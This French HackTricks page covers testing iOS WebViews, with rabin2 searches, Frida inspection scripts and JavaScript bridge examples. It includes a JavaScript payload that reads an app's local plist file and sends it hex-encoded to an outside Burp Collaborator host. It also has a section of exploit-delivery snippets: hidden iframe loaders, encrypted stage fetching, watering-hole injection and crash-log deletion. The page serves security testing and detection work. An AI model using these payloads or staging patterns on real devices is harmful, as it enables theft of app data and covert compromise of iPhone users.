iOS WebViews
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Le code de cette page a été extrait de here. Consultez la page pour plus de détails.
Types de WebViews
Les WebViews sont utilisés dans les applications pour afficher du contenu web de manière interactive. Différents types de WebViews offrent des fonctionnalités et des caractéristiques de sécurité variées pour les applications iOS. Voici un bref aperçu :
-
UIWebView, qui n’est plus recommandé depuis iOS 12 en raison de son absence de support pour la désactivation de JavaScript, ce qui le rend vulnérable à l’injection de scripts et aux attaques de Cross-Site Scripting (XSS).
-
WKWebView est l’option préférée pour intégrer du contenu web dans les applications, offrant un meilleur contrôle sur le contenu et les fonctionnalités de sécurité. JavaScript est activé par défaut, mais peut être désactivé si nécessaire. Il prend également en charge des fonctionnalités empêchant JavaScript d’ouvrir automatiquement des fenêtres et veille à ce que tout le contenu soit chargé de manière sécurisée. De plus, l’architecture de WKWebView minimise le risque que des corruptions mémoire affectent le processus principal de l’application.
-
SFSafariViewController offre une expérience de navigation web standardisée au sein des applications, reconnaissable à sa mise en page spécifique incluant un champ d’adresse en lecture seule, des boutons de partage et de navigation, et un lien direct pour ouvrir le contenu dans Safari. Contrairement à WKWebView, JavaScript ne peut pas être désactivé dans SFSafariViewController, qui partage également les cookies et les données avec Safari, protégeant ainsi la vie privée de l’utilisateur vis-à-vis de l’application. Il doit être affiché de manière visible conformément aux directives de l’App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Résumé de l’exploration de la configuration des WebViews
Aperçu de l’analyse statique
Dans le processus d’examen des configurations des WebViews, deux types principaux sont ciblés : UIWebView et WKWebView. Pour identifier ces WebViews dans un binaire, des commandes sont utilisées, recherchant des références de classes spécifiques et des méthodes d’initialisation.
- Identification de UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Cette commande permet de localiser des instances de UIWebView en recherchant des chaînes de texte qui s’y rapportent dans le binaire.
- Identification de WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
De même, pour WKWebView, cette commande recherche dans le binaire des chaînes de texte indiquant son utilisation.
De plus, pour trouver comment un WKWebView est initialisé, la commande suivante est exécutée, ciblant la signature de méthode liée à son initialisation :
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Vérification de la configuration JavaScript
Pour WKWebView, il est souligné que désactiver JavaScript est une bonne pratique sauf si nécessaire. Le binaire compilé est recherché pour confirmer que la propriété javaScriptEnabled est définie sur false, garantissant que JavaScript est désactivé :
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Vérification du contenu uniquement sécurisé
WKWebView permet d’identifier les problèmes de contenu mixte, contrairement à UIWebView. Ceci est vérifié à l’aide de la propriété hasOnlySecureContent pour s’assurer que toutes les ressources de la page sont chargées via des connexions sécurisées. La recherche dans le binaire compilé se fait comme suit:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Aperçus de l’analyse dynamique
L’analyse dynamique consiste à inspecter le heap pour repérer les instances de WebView et leurs propriétés. Un script nommé webviews_inspector.js est utilisé à cet effet, ciblant les instances UIWebView, WKWebView, et SFSafariViewController. Il enregistre des informations sur les instances trouvées, y compris les URLs et les paramètres liés à JavaScript et au contenu sécurisé.
L’inspection du heap peut être réalisée en utilisant ObjC.choose() pour identifier les instances de WebView et vérifier les propriétés javaScriptEnabled et hasonlysecurecontent.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Le script est exécuté avec :
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Résultats clés:
- Des instances de WebViews sont localisées et inspectées avec succès.
- L’activation de JavaScript et les paramètres de contenu sécurisé sont vérifiés.
Ce résumé synthétise les étapes et commandes critiques impliquées dans l’analyse des configurations de WebView par des approches statiques et dynamiques, en se concentrant sur des fonctionnalités de sécurité comme l’activation de JavaScript et la détection de contenu mixte.
Gestion des protocoles WebView
La gestion du contenu dans les WebViews est un aspect critique, surtout lorsqu’on traite différents protocoles tels que http(s)://, file://, et tel://. Ces protocoles permettent le chargement de contenu distant et local au sein des applications. Il est souligné que lors du chargement de contenu local, des précautions doivent être prises pour empêcher les utilisateurs d’influencer le nom ou le chemin du fichier et d’éditer le contenu lui-même.
WebViews offrent différentes méthodes pour le chargement de contenu. Pour UIWebView, désormais obsolète, des méthodes comme loadHTMLString:baseURL: et loadData:MIMEType:textEncodingName:baseURL: sont utilisées. WKWebView, quant à lui, emploie loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, et loadRequest: pour le contenu web. Des méthodes telles que pathForResource:ofType:, URLForResource:withExtension:, et init(contentsOf:encoding:) sont typiquement utilisées pour charger des fichiers locaux. La méthode loadFileURL:allowingReadAccessToURL: est particulièrement notable pour sa capacité à charger une URL ou un répertoire spécifique dans la WebView, exposant potentiellement des données sensibles si un répertoire est spécifié.
Pour trouver ces méthodes dans le code source ou le binaire compilé, des commandes comme les suivantes peuvent être utilisées:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
En ce qui concerne l’accès aux fichiers, UIWebView le permet universellement, tandis que WKWebView introduit les réglages allowFileAccessFromFileURLs et allowUniversalAccessFromFileURLs pour gérer l’accès depuis des file URLs, les deux étant false par défaut.
Un exemple de script Frida est fourni pour inspecter les configurations de WKWebView pour les paramètres de sécurité :
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Enfin, un exemple de JavaScript payload visant à exfiltrer des fichiers locaux démontre le risque potentiel pour la sécurité associé à des WebViews mal configurées. Ce payload encode le contenu des fichiers au format hex avant de les transmettre à un serveur, mettant en évidence l’importance de mesures de sécurité strictes dans les implémentations de WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Méthodes natives exposées via WebViews
Comprendre les interfaces natives des WebView dans iOS
Depuis iOS 7, Apple fournit des API pour la communication entre JavaScript dans un WebView et des objets natifs Swift ou Objective-C. Cette intégration se fait principalement via deux méthodes :
- JSContext : une fonction JavaScript est automatiquement créée lorsqu’un bloc Swift ou Objective-C est lié à un identifiant dans un
JSContext. Cela permet une intégration et une communication transparentes entre JavaScript et le code natif. - JSExport Protocol : en héritant du protocole
JSExport, les propriétés natives, les méthodes d’instance et les méthodes de classe peuvent être exposées à JavaScript. Cela signifie que les modifications effectuées dans l’environnement JavaScript sont répercutées dans l’environnement natif, et inversement. Cependant, il est crucial de s’assurer que des données sensibles ne sont pas exposées involontairement via cette méthode.
Accessing JSContext in Objective-C
En Objective-C, le JSContext pour un UIWebView peut être récupéré avec la ligne de code suivante :
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Communication avec WKWebView
Pour WKWebView, l’accès direct à JSContext n’est pas disponible. À la place, le passage de messages est utilisé via la fonction postMessage, permettant la communication de JavaScript vers le natif. Les gestionnaires pour ces messages sont configurés comme suit, permettant à JavaScript d’interagir avec l’application native de manière sécurisée :
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interaction et tests
JavaScript peut interagir avec la couche native en définissant un script message handler. Cela permet des opérations comme l’appel de fonctions natives depuis une page web :
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Pour capturer et manipuler le résultat d’un native function call, on peut override la callback function dans le HTML :
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Le côté natif gère l’appel JavaScript comme montré dans la classe JavaScriptBridgeMessageHandler, où le résultat d’opérations comme la multiplication de nombres est traité puis renvoyé à JavaScript pour affichage ou manipulation ultérieure :
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS Web Exploit Delivery & Staging Tradecraft
Les motifs suivants ont été observés dans des exploit delivery chains réels pour iOS Safari/WebKit et sont utiles pour l’analyse, la détection et l’émulation contrôlée.
Multi-stage loader via hidden iframes
Un pattern de staging courant consiste à filtrer l’exécution pour éviter la réinfection ou l’analyse, puis à injecter un iframe caché/hors écran pour l’étape suivante :
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
Une page de staging minimale peut injecter le main loader via document.write():
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
Les étapes du Loader récupèrent fréquemment le JavaScript suivant de manière synchrone :
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
Les étapes ultérieures peuvent être exécutées dans un contexte de type worker en construisant une Blob URL :
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
Forcer Safari à atteindre la surface WebKit/JSC
Si une victime ouvre un leurre dans un autre navigateur, un gestionnaire de protocole peut forcer Safari:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
Encrypted stage fetch (ECDH + AES)
Certains loaders chiffrent les exploit stages en transit. Un flux client minimal est : générer une paire de clés ECDH éphémère, POST la clé publique base64, recevoir des blobs chiffrés, dériver une clé AES, déchiffrer, puis décoder en JavaScript:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
Des sites compromis peuvent charger un script distant qui crée un iframe hors écran et le confine dans un sandbox tout en continuant à autoriser l’exécution de scripts :
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Indicateurs anti-forensics en post-exploitation (JS implants)
- Mise en scène temporaire sous
/tmp/<uuid>.<digits>/avec des sous-dossiers commeSTORAGE,DATA, etTMP. - Suppression des journaux de crash dans
/var/mobile/Library/Logs/CrashReporter/(souvent filtrés par des sous-chaînes WebKit/SpringBoard). - Suppression récursive de
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.
Debugging iOS WebViews
(Tutoriel basé sur celui de https://blog.vuplex.com/debugging-webviews)
Pour déboguer efficacement du contenu web dans des webviews iOS, une configuration spécifique utilisant les outils de développement de Safari est nécessaire, car les messages envoyés à console.log() ne s’affichent pas dans les logs Xcode. Voici un guide simplifié, mettant en avant les étapes et prérequis clés :
-
Préparation sur l’appareil iOS : Le Web Inspector de Safari doit être activé sur votre appareil iOS. Allez dans Réglages > Safari > Avancé, et activez le Web Inspector.
-
Préparation sur la machine macOS : Sur votre machine de développement macOS, vous devez activer les outils de développement dans Safari. Lancez Safari, allez dans Safari > Préférences > Avancé, et sélectionnez l’option pour Afficher le menu Développement.
-
Connexion et débogage : Après avoir connecté votre appareil iOS à votre ordinateur macOS et lancé votre application, utilisez Safari sur macOS pour sélectionner la webview que vous voulez déboguer. Dans la barre de menu de Safari, allez dans Développement, survolez le nom de votre appareil iOS pour voir la liste des instances de webview, et sélectionnez l’instance que vous souhaitez inspecter. Une nouvelle fenêtre du Safari Web Inspector s’ouvrira pour cela.
Cependant, gardez à l’esprit les limitations :
- Le débogage avec cette méthode nécessite un appareil macOS car il s’appuie sur Safari.
- Seules les webviews d’applications chargées sur votre appareil via Xcode sont éligibles au débogage. Les webviews dans les apps installées via l’App Store ou Apple Configurator ne peuvent pas être déboguées de cette manière.
Références
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


